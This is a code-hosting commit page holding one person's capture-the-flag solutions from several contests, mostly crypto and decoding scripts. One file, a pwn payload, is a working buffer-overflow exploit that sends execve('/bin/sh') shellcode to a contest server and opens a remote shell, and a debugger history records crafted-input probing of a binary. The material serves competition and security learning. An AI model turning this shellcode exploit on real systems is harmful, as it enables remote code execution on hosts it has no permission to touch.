Kaynağa Gözat

first commit

master
Christopher Yu 5 yıl önce
işleme
9601394f3e
93 değiştirilmiş dosya ile 669 ekleme ve 0 silme
  1. +12
    -0
      AsgamaCTF/Crypto/1byte_ROXy/decode.py
  2. +1
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      AsgamaCTF/Crypto/Capek/base
  3. +10
    -0
      AsgamaCTF/Crypto/Capek/decryptloop.py
  4. BIN
      AsgamaCTF/Reverse/XOR_in_reverse/Xrev
  5. +194
    -0
      AsgamaCTF/Reverse/pwd/.gdb_history
  6. +1
    -0
      AsgamaCTF/Reverse/pwd/decode.py
  7. BIN
      AsgamaCTF/Reverse/pwd/pwdrev
  8. BIN
      CJ2018/Pwn/Dionysus/dionysus_client
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      CJ2018/Pwn/Dionysus/dionysus_server
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      GKSK/Crypto/GKSK_Crypto_Service/GKSK_CRYPTO_SERVICE.zip
  11. +26
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      GKSK/Crypto/GKSK_Crypto_Service/decrypt.py
  12. +1
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      GKSK/Crypto/GKSK_Crypto_Service/flag.enc
  13. +97
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      GKSK/Crypto/GKSK_Crypto_Service/gksk_crypto_service.py
  14. +1
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      GKSK/Joy/Hack_The_Game_v0.0.1/flag.txt
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      GKSK/Joy/Hack_The_Game_v0.0.1/version001
  16. +4
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      GKSK/Joy/Hack_The_Game_v0.0.2/cheat.py
  17. +12
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      GKSK/Joy/Hack_The_Game_v0.0.2/test.py
  18. BIN
      GKSK/Joy/Hack_The_Game_v0.0.2/version002
  19. +3
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      GKSK/Pwn/World_war/.gdb_history
  20. +15
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      GKSK/Pwn/World_war/payload.py
  21. +1
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      GKSK/Pwn/World_war/peda-session-world_war.txt
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  24. +35
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      IDCC/Crypto/DecryptME/decrypt.py
  25. +1
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      IDCC/Crypto/DecryptME/enkripsi
  26. +35
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      IDCC/Crypto/DecryptME/test.py
  27. +29
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      SlashRoot/Crypto/RSA_Token_Generator/payload.py
  28. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_214809.png
  29. BIN
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      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225608.png
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      TAMUCTF/Crypto/Smile/Screenshot_20190302_232351.png
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      TAMUCTF/Crypto/Smile/Screenshot_20190302_232540.png
  39. +13
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      TAMUCTF/Crypto/Smile/decoder.py
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      TAMUCTF/Misc/Hello_World/Screenshot_20190303_161722.png
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      TAMUCTF/Misc/Hello_World/decoder.py
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      TAMUCTF/Misc/I_heard_you_like_files/art.png
  51. +27
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      TAMUCTF/Misc/I_heard_you_like_files/output/audit.txt
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      TAMUCTF/Misc/I_heard_you_like_files/output/pdf/00006657.pdf
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      TAMUCTF/Misc/I_heard_you_like_files/output/png/00000000.png
  54. BIN
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/00006700.zip
  55. +3
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/[Content_Types].xml
  56. +3
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/_rels/.rels
  57. +2
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/app.xml
  58. +2
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/core.xml
  59. +1
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/not_the_flag.txt
  60. +3
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/_rels/document.xml.rels
  61. +2
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/document.xml
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/fontTable.xml
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      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/styles.xml
  66. +10
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      TAMUCTF/Reverse/KeyGenMe/.gdb_history
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      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_002033.png
  79. +20
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      TAMUCTF/Reverse/KeyGenMe/bruteforce.py
  80. BIN
      TAMUCTF/Reverse/KeyGenMe/keygenme
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      TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_153550.png
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      TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_153910.png
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      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_202844.png
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      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203307.png
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      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203644.png
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      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203910.png
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      TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200611.png
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      TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200703.png
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      TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200832.png
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      TAMUCTF/Web/Robots_Rule/Screenshot_20190302_201534.png
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      TAMUCTF/Web/Robots_Rule/Screenshot_20190302_201719.png
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+ 12
- 0
AsgamaCTF/Crypto/1byte_ROXy/decode.py Dosyayı Görüntüle

@ -0,0 +1,12 @@
from pwn import *
cipher = "e7c1cdc1e3f4e6dbcfcec5ffc2d9d4c5ffd8cfd2d29f9fdd"
cipher = cipher.decode('hex')
for i in range(256):
plain = xor(cipher, i)
if "GamaCTF{" in plain:
print plain
break

+ 1
- 0
AsgamaCTF/Crypto/Capek/base Dosyayı Görüntüle

@ -0,0 +1 @@
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVjBaS2RHVkdXbFppVkZaeVZtMTRTMk15VGtsalJtaG9UV3N3ZUZadGNFZFRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1pFWlNUbFpYZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMWRyV25kV01ERkZVbFJHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSazVYVWpOb2IxWXhaRFJWTVVsNVZXNU9XR0pIVWxsWmJHaFRWMFpTVjJGRlRsTmlSbkJaV2xWYVQxWlhTbFpYVkVwV1lrWktSRlpxUVhoa1ZsWjFWMnhhYUdFeGNGbFhhMVpoVkRKTmVGcElUbWhTTW5oVVZGY3hiMWRzV1hoWGJYUk9VakZHTlZaWE5VOWhiRXAwVld4c1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1WFJVcElWbXBLTkZReFdsaFRhMlJxVW14d1dGbHNhRk5OTVZweFUydDBWMVpyY0ZwWGExcDNZa2RGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZVYkdocFZqSm9lbGRYZUc5aU1rbDRWMjVTVGxkSFVsWlVWbHBYVGxaV2RHUkhkRmROVjFKSldWVmFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYwMVZiekZXYlhCTFRrWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0hKWlZXUkdaVWRPUjJKR2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTlc5a2JGcEhWbTA1VWsxWFVsaFdNV2h2V1ZaS1IxTnNaRlZXYkhCNlZHdGFWbVZYVWtoa1JtaFRUVWhDU2xac1pEUmpNV1IwVTJ0b2FGSnNTbGhVVlZwM1ZrWmFjVk5yWkZOaVJrcDZWa2N4YzFVeVNuSlRiVVpYVFc1b1dGbHFTa1psUm1SWldrVTFWMVpzY0ZWWFYzUnJWVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUkVKWFRWWndlVll5ZUhkWGJGcFhZMGhLVjFaRldreFdNVnBIWTIxS1IxcEdaRTVOUlhCS1ZtMTBVMU14VlhoWFdHaGhVMFphVmxscldrdGpSbHB4VkcwNVYxWnNjRWhYVkU1dllWVXhXRlZ1Y0ZkTlYyaDJWMVphUzFJeFRuVlJiRlpYVFRGS05sWkdVa2RWTVZwMFVtdG9VRlp0YUZSVVZXaERVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDFXa1pPVGxacmNEVldSM2hoVkRKR1YxTnVVbEJXUlRWWVZGYzFiMWRHWkZkWGJFcHNWbXR3ZVZkcldtOWhWMFkyVm01b1YxWkZTbkpVYTFwclVqRldjMXBHYUdoTk1VcFZWbGN4TkdReVZrZFdXR3hyVWpOU2IxbHNWbmRXTVZwMFkwZEdXR0pHY0ZoWk1HUnZWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWVVaV2NWTnRPVmRTYkVwWlZGWmpOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQndWakJhUzA1c1drZFZhMlJXVFdzeE5GWXlOVk5oTVVwMFZXNUNWMkpIYUVSVWJGcHJWbFpHZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1XeFdWMjVrVTJKSVFrZFVNVlUxWVZaS1dWRllaRmhpUmxwb1ZrUktSMVl4VW5KWGJGSnBWbFp3V1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQllWVEkxYjFZeFdYcGhTRXBhWVd0YWNsVnFSbGRqTWtaR1QxWmtWMVpHV2pKV2JHTjRUa2RSZVZaclpGZFhSM2h5VldwT1UySXhiSE5XYm1SWFRWZDRNVmt3VmpCV01rcEhZa1JhV2xaWGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsUkNhMUl4U1hsU2EyaHBVbXMxY0ZVd1ZrdE5iRnB4VW0xR1ZrMVZNVFJXVm1oelZsWmtTR0ZIYUZaTlJuQm9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==

+ 10
- 0
AsgamaCTF/Crypto/Capek/decryptloop.py Dosyayı Görüntüle

@ -0,0 +1,10 @@
from base64 import *
with open("base", "r") as file:
text = file.read()
decoded = ""
while True:
decoded = b64decode(text)
text = decoded
if(text.find("CTF{") != -1):
break
print text

BIN
AsgamaCTF/Reverse/XOR_in_reverse/Xrev Dosyayı Görüntüle


+ 194
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AsgamaCTF/Reverse/pwd/.gdb_history Dosyayı Görüntüle

@ -0,0 +1,194 @@
b *main
r
ni
r
ni
si
ni
si
ni
pdisas c
b *0x0000000000400761
r
ni
si
ni
r
ni
si
ni
ni
r
r
r < $(python -c "print '\xde\x00\x00\x00'")
r <<< $(python -c "print '\xde\x00\x00\x00'")
ni
r <<< $(python -c "print '\xde\x00\x00\x00'")
ni
r <<< $(python -c "print '\xbe\x00\x00\x00'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x00\x00\x00\x00'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde\x00\x02'")
ni
si
ni
r <<< $(python -c "print '\x20\x00\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\x02\x00\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x00\x00\x00\x00'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x00\x00\x00\'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00\x00\x00\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\xef\xee\xbe\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\x1d'")
ni
pdisas c
b *0x0000000000400746
r <<< $(python -c "print '\xef\xee\xbe\xad\x22'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde\x11\x11\x11\x11\x1d'")
ni
r <<< $(python -c "print '\x11\x11\x11\x11\x1d\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + 'a' * 4 + '\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + a * 8")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + a")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print 'a' + '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print 'a' * 8 + '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x1d\x1d\x1d'")
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\xde\x1d\x1d\x1d'")
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x1d\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00\x00\x00x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00\x00\x00\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 6 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + 'a' * 7 + '\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + 'a' * 7 + '\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d' + 'a' * 7")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d' + '\x00' * 7")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1d' + '\x00' * 6")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1d' + '\xd0' * 6")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d' + '\x00' * 7")
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 3 + '\x00' * 4 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + '\x1d'")
ni
si
ni
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'* 7")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + 'a'* 20")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + 'a'* 40")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00'*7 + '\x1e'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 7")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 14")
ni
si
ni
r <<< $(python -c "print '\x00' + '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 14")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 13")
ni
si
ni
r <<< $(python -c "print '\xde' + '\x00' + '\x1e' * 13")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 13")

+ 1
- 0
AsgamaCTF/Reverse/pwd/decode.py Dosyayı Görüntüle

@ -0,0 +1 @@

BIN
AsgamaCTF/Reverse/pwd/pwdrev Dosyayı Görüntüle


BIN
CJ2018/Pwn/Dionysus/dionysus_client Dosyayı Görüntüle


BIN
CJ2018/Pwn/Dionysus/dionysus_server Dosyayı Görüntüle


BIN
GKSK/Crypto/GKSK_Crypto_Service/GKSK_CRYPTO_SERVICE.zip Dosyayı Görüntüle


+ 26
- 0
GKSK/Crypto/GKSK_Crypto_Service/decrypt.py Dosyayı Görüntüle

@ -0,0 +1,26 @@
import base64
secret_out = ''
secret_str = ''.join("gksk-secret-code".split("-"))
for count, loop in enumerate(secret_str):
if count % 2 == 0:
secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop])
else:
secret_out += loop
print secret_out
enc = open("flag.enc", "r").read()
shift_key = 0
while True:
shift_key += 1
cipher = base64.b64decode(enc)
alphabet = secret_out * 50
shifted_alphabet = alphabet[shift_key:] + alphabet[:shift_key]
flag = ''
for i in range(len(cipher[:-1])):
flag += chr((ord(cipher[i]) ^ shift_key) - ord(shifted_alphabet[i]))
if "GKSK{" in flag:
print flag
break

+ 1
- 0
GKSK/Crypto/GKSK_Crypto_Service/flag.enc Dosyayı Görüntüle

@ -0,0 +1 @@
kraiqvy1qe+2oqi2kbSftqS3/KmknKHv7+/rwbj/pK+h8+XS8p+topm17b72sK2b8q6go/ygmaijtfaxoZipm67vv6un8Zu2r7ag4fLHqZGz9Jzxkbet/qG2t5Gpk/ywmLWg/8/LwcyftKmuqbycqZC1rKqzsLWdtqys79ujqqGprLDjoaacor2qqqqgvJHuo7Co0OebveWToojt9s6otrWQqe+psq6h7baa/qG2t5Gpk//+BQ==

+ 97
- 0
GKSK/Crypto/GKSK_Crypto_Service/gksk_crypto_service.py Dosyayı Görüntüle

@ -0,0 +1,97 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
import random
import base64
def banner():
return '''
Welcome to our brand new crypto service
________ _______ __ __ ____________ ______ __________ _____ __________ _ __________________
/ ____/ //_/ ___// //_/ / ____/ __ \ \/ / __ \/_ __/ __ \ / ___// ____/ __ \ | / / _/ ____/ ____/
/ / __/ ,< \__ \/ ,< / / / /_/ /\ / /_/ / / / / / / / \__ \/ __/ / /_/ / | / // // / / __/
/ /_/ / /| |___/ / /| | / /___/ _, _/ / / ____/ / / / /_/ / ___/ / /___/ _, _/| |/ // // /___/ /___
\____/_/ |_/____/_/ |_| \____/_/ |_| /_/_/ /_/ \____/ /____/_____/_/ |_| |___/___/\____/_____/
version [v2.1.19]
'''
def print_usage(script_argv):
print '[==USAGE==]\n'
print 'Encrypt File \t: %s -e [plaintext_file] [key]' % script_argv
print 'Decrypt File \t: %s -d [encrypted_file] [key]' % script_argv
print 'Generate Key \t: %s -g' % script_argv
print 'Help \t\t: %s -h\n' % script_argv
def shift_key():
key = random.randint(0x1, 0xff)
return key
def shuffle_secret():
secret_out = ''
secret_str = ''.join('gksk-secret-code'.split('-'))
for count,loop in enumerate(secret_str):
if count % 2 == 0:
secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop])
else:
secret_out += loop
return secret_out
def encryption(plain, shift):
try:
ciphertext = ''
length_msg = 50
with open(plain, 'rb') as bin:
data = bin.read()
shift = int(shift)
alphabet = shuffle_secret() * length_msg
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
for a, b in zip(data, shifted_alphabet):
ciphertext += chr(ord(a) + ord(b) ^ shift)
with open(plain + '.enc', 'wb') as bin:
bin.write(base64.b64encode(ciphertext))
except ValueError:
print "ValueError : Range key [0-255]"
exit()
def decryption(enc_file, key):
with open(enc_file, 'rb') as bin:
data = bin.read()
'''NOT IMPLEMENTED YET'''
with open(enc_file + '.trial', 'wb') as bin:
bin.write(data)
def main():
print banner()
script_argv = sys.argv[0]
try:
mode = sys.argv[1]
if mode == '-e':
plaintext_file = sys.argv[2]
key = sys.argv[3]
encryption(plaintext_file, key)
print "\nSECRET KEY : ", shuffle_secret()
print '\nThankyou for using our service :)\n'
elif mode == '-d':
encrypted_file = sys.argv[2]
key = sys.argv[3]
decryption(encrypted_file, key)
print '\nNot implemented yet. Upgrade to premium, only $99999\n'
elif mode == '-g':
print 'Key : ', shift_key()
elif mode == '-h':
print_usage(script_argv)
else:
print_usage(script_argv)
except IndexError:
print_usage(script_argv)
if __name__ == '__main__':
main()

+ 1
- 0
GKSK/Joy/Hack_The_Game_v0.0.1/flag.txt Dosyayı Görüntüle

@ -0,0 +1 @@
GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}

BIN
GKSK/Joy/Hack_The_Game_v0.0.1/version001 Dosyayı Görüntüle


+ 4
- 0
GKSK/Joy/Hack_The_Game_v0.0.2/cheat.py Dosyayı Görüntüle

@ -0,0 +1,4 @@
import base64
cheat = "PlayerLevel=1;PlayerExp=1;PlayerHP=100;PlayerAtk=987654321;PlayerDef=987654321;PlayerName=ar"
print base64.b64encode(cheat)

+ 12
- 0
GKSK/Joy/Hack_The_Game_v0.0.2/test.py Dosyayı Görüntüle

@ -0,0 +1,12 @@
cheat = "UGxheWVyTGV2ZWw9OTk5OTk5OTk5O1BsYXllckV4cD05OTk5OTk5OTk5O1BsYXllckhQPTk4NzY1NDMyMTtQbGF5ZXJBdGs9OTg3NjU0MzIxO1BsYXllckRlZj05ODc2NTQzMjE7UGxheWVyTmFtZT1Cb2Rv"
alphabet = "abcdefghijklmnopqrstuvwxyz"
newcheat = ""
for i in cheat:
if i in alphabet.upper():
newcheat += i.lower()
elif i in alphabet.lower():
newcheat += i.upper()
else:
newcheat += i
print newcheat

BIN
GKSK/Joy/Hack_The_Game_v0.0.2/version002 Dosyayı Görüntüle


+ 3
- 0
GKSK/Pwn/World_war/.gdb_history Dosyayı Görüntüle

@ -0,0 +1,3 @@
pattern create 500
r
pattern offset 0x65414149

+ 15
- 0
GKSK/Pwn/World_war/payload.py Dosyayı Görüntüle

@ -0,0 +1,15 @@
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
from pwn import *
r = remote("180.250.7.183", 51137)
r.recvuntil("coordinate : ")
buff = r.recvline()
buff = buff[:10]
buff = int(buff, 16)
buff = p32(buff)
payload = shellcode + "a" * (72-len(shellcode)) + buff
r.sendline(payload)
r.interactive()

+ 1
- 0
GKSK/Pwn/World_war/peda-session-world_war.txt Dosyayı Görüntüle

@ -0,0 +1 @@

BIN
GKSK/Pwn/World_war/world_war Dosyayı Görüntüle


BIN
GKSK/Reverse/Decimal1.0/Decimal_1.0 Dosyayı Görüntüle


+ 35
- 0
IDCC/Crypto/DecryptME/decrypt.py Dosyayı Görüntüle

@ -0,0 +1,35 @@
# Python2 ver.
# If you use Python3 interpreter, the trouble will be in print format
# [KSL Playground][Crypto][IDCC2018 DecryptME] written by Mr. Goodnight
# Link: https://euectf.stikom-bali.ac.id/challenges#[IDCC]%20DecryptME
# Flag: IDCC{S1mpl3_4nd_stR4ight}
from base64 import *
# Encryption algorithm
# ciphertext = plaintext + keys
with open('./enkripsi', mode = 'r') as f:
ciphertext = f.read()
# plaintext = ciphertext - keys
# Make my own function to decrypt the ciphertext
def decrypt(ciphertext, keys):
plaintext = ""
for num,char in enumerate (ciphertext):
plaintext += chr((ord(char) - ord(keys[num % len(keys)])) % 127)
return plaintext
# keys = ciphertext - plaitext
# Find the key by using known string attack
# Then I found out that the key is raja
known_string = b64encode("IDCC{")
keys = ""
for num,char in enumerate (known_string):
keys += chr((ord(ciphertext[num]) - ord(char)) % 127)
# Run the decrypt function the decode it
keys = "raja"
flag = b64decode(decrypt(ciphertext, keys))
print ("Flag: {f}".format(f = flag))

+ 1
- 0
IDCC/Crypto/DecryptME/enkripsi Dosyayı Görüntüle

@ -0,0 +1 @@
F7=&D_6@9YU&9HA) MK9HL=RMSY3(

+ 35
- 0
IDCC/Crypto/DecryptME/test.py Dosyayı Görüntüle

@ -0,0 +1,35 @@
from base64 import *
def enkripsi(plain, keys):
enc = []
plain = b64encode(plain)
for i, l in enumerate(plain):
kunci = ord(keys[i % len(keys)])
teks = ord(l)
enc.append(chr((teks + kunci) % 127))
#enc = teks + kunci
return ''.join(enc)
def findKey():
key = []
known = b64encode("IDCC{")
file = open("enkripsi", "rb")
file = file.read()
for i, l in enumerate(known):
kunci = ord(file[i])
teks = ord(l)
key.append((chr((kunci - teks) % 127)))
return ''.join(key)
def decryption():
key = "raja"
flag = []
file = open("enkripsi", "r").read()
for i, l in enumerate(file):
kunci = ord(key[i % len(key)])
cipher = ord(l)
flag.append(chr((cipher - kunci) % 127))
return ''.join(flag)
print findKey()
print b64decode(decryption())

+ 29
- 0
SlashRoot/Crypto/RSA_Token_Generator/payload.py Dosyayı Görüntüle

@ -0,0 +1,29 @@
from pwn import *
r = remote("103.200.7.156", 1003)
r.recvuntil(">>> ")
r.sendline("2")
for i in range(5):
r.recvuntil("e = ")
e = r.recvline()
e = int(e[:-1])
r.recvuntil("n = ")
n = r.recvline()
n = int(n[:-1])
r.recvuntil("c = ")
c = r.recvline()
c = int(c[:-1])
p = 1000
while True:
if(pow(p, e, n) == c):
break
p +=1
r.sendline(str(p))
print "p = ", p
r.interactive()

BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_214809.png Dosyayı Görüntüle

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Genişlik: 1032  |  Yükseklik: 610  |  Boyut: 81 KiB

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_222836.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_223153.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_224641.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_224730.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225328.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225608.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/Smile/Screenshot_20190302_231451.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/Smile/Screenshot_20190302_231606.png Dosyayı Görüntüle

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TAMUCTF/Crypto/Smile/Screenshot_20190302_232351.png Dosyayı Görüntüle

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BIN
TAMUCTF/Crypto/Smile/Screenshot_20190302_232540.png Dosyayı Görüntüle

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+ 13
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TAMUCTF/Crypto/Smile/decoder.py Dosyayı Görüntüle

@ -0,0 +1,13 @@
from base64 import *
enc = "XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH"
flag = b64decode(enc)
key = ":)"
newflag = []
for i, l in enumerate(flag):
kunci = ord(key[i % len(key)])
cipher = ord(l)
newflag.append(chr(kunci ^ cipher))
newflag = ''.join(newflag)
print newflag

BIN
TAMUCTF/Misc/Hello_World/Screenshot_20190303_161722.png Dosyayı Görüntüle

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TAMUCTF/Misc/Hello_World/Screenshot_20190303_163026.png Dosyayı Görüntüle

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TAMUCTF/Misc/Hello_World/Screenshot_20190303_163249.png Dosyayı Görüntüle

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TAMUCTF/Misc/Hello_World/Screenshot_20190303_163350.png Dosyayı Görüntüle

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+ 99
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TAMUCTF/Misc/Hello_World/decoder.py Dosyayı Görüntüle

@ -0,0 +1,99 @@
flag = '''push103
push 105
push 103
push 101
push 109
push 123
push 48
push 104
push 95
push 109
push 121
push 95
push 119
push 104
push 52
push 116
push 95
push 115
push 112
push 52
push 99
push 49
push 110
push 103
push 95
push 121
push 48
push 117
push 95
push 104
push 52
push 118
push 51
push 125
push 33
push 101
push 99
push 97
push 112
push 115
push 101
push 116
push 105
push 104
push 119
push 32
push 102
push 111
push 32
push 116
push 111
push 108
push 32
push 97
push 32
push 115
push 105
push 32
push 101
push 114
push 117
push 115
push 32
push 116
push 97
push 104
push 116
push 32
push 44
push 101
push 101
push 103
push 32
push 121
push 108
push 108
push 111
push 103
push 32
push 116
push 101
push 101
push 119
push 115
push 32
push 108
push 108
push 101
push 87
'''
newflag = ""
flag = flag.replace('push', '')
flag = flag.replace('\n', '')
flag = flag.split(" ")
flag = map(int, flag)
for i in flag:
newflag += chr(i)
print newflag

BIN
TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_155553.png Dosyayı Görüntüle

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160033.png Dosyayı Görüntüle

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160404.png Dosyayı Görüntüle

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160559.png Dosyayı Görüntüle

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160905.png Dosyayı Görüntüle

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TAMUCTF/Misc/I_heard_you_like_files/art.png Dosyayı Görüntüle

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+ 27
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TAMUCTF/Misc/I_heard_you_like_files/output/audit.txt Dosyayı Görüntüle

@ -0,0 +1,27 @@
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Sun Mar 3 15:59:09 2019
Invocation: foremost art.png
